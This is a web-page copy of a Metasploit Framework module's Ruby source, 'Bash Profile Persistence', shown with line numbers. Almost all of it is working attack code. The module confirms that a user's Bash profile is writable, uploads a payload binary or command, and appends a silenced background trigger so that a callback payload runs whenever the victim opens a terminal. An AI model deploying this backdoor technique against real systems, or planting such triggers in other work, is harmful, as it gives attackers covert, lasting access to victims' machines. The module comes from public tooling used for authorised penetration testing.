Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/bash_profile.rb
31189 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Auxiliary::Report
12
include Msf::Exploit::EXE # for generate_payload_exe
13
include Msf::Post::Linux::User
14
include Msf::Exploit::Local::Persistence
15
prepend Msf::Exploit::Remote::AutoCheck
16
include Msf::Exploit::Deprecated
17
moved_from 'exploits/linux/local/bash_profile_persistence'
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Bash Profile Persistence',
24
'Description' => %q{
25
This module writes an execution trigger to the target's Bash profile.
26
The execution trigger executes a call back payload whenever the target
27
user opens a Bash terminal.
28
Verified on Ubuntu 22.04 and 18.04 desktop with Gnome
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Michael Long <bluesentinel[at]protonmail.com>'
33
],
34
'Payload' => {
35
'BadChars' => '#%\n"'
36
},
37
'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell
38
'Platform' => ['unix', 'linux'],
39
'Arch' => [
40
ARCH_CMD,
41
ARCH_X86,
42
ARCH_X64,
43
ARCH_ARMLE,
44
ARCH_AARCH64,
45
ARCH_PPC,
46
ARCH_MIPSLE,
47
ARCH_MIPSBE
48
],
49
'SessionTypes' => ['meterpreter', 'shell'],
50
'Targets' => [
51
['Automatic', {}]
52
],
53
'DefaultTarget' => 0,
54
'References' => [
55
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
56
['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
57
],
58
'Notes' => {
59
'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ],
60
'Stability' => [ CRASH_SAFE ],
61
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
62
}
63
)
64
)
65
66
register_options(
67
[
68
OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']),
69
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']),
70
]
71
)
72
end
73
74
def target_user
75
return datastore['USER'] unless datastore['USER'].blank?
76
77
whoami
78
end
79
80
def profile_path
81
user = target_user
82
home = get_home_dir(user)
83
"#{home}/#{datastore['BASH_PROFILE']}"
84
end
85
86
def check
87
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
88
ppath = profile_path
89
90
# check that target Bash profile file exists
91
return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath)
92
93
vprint_good("Bash profile exists: #{ppath}")
94
95
# check that target Bash profile file is writable
96
return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath)
97
98
vprint_good("Bash profile is writable: #{ppath}")
99
100
CheckCode::Detected("Bash profile exists and is writable: #{ppath}")
101
end
102
103
def install_persistence
104
super
105
# create Bash profile backup on local system before persistence is added
106
ppath = profile_path
107
backup_profile = read_file(ppath)
108
109
backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
110
print_status("Created backup Bash profile: #{backup_profile_path}")
111
112
if payload.arch.first == 'cmd'
113
pload = payload.encoded
114
pload = pload.sub(/&$/, '') # remove trailing & since we add it later
115
exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
116
else
117
# upload persistent payload to target and make executable (chmod 700)
118
payload_path = writable_dir
119
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
120
payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
121
payload_path << payload_name
122
upload_and_chmodx(payload_path, generate_payload_exe)
123
124
# write payload trigger to Bash profile
125
exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
126
end
127
append_file(ppath, exec_payload_string)
128
vprint_status('Created Bash profile persistence')
129
print_good('Payload will be triggered when target opens a Bash terminal')
130
131
@clean_up_rc << "rm #{payload_path}\n"
132
@clean_up_rc << "upload #{backup_profile_path} #{ppath}"
133
end
134
end
135
136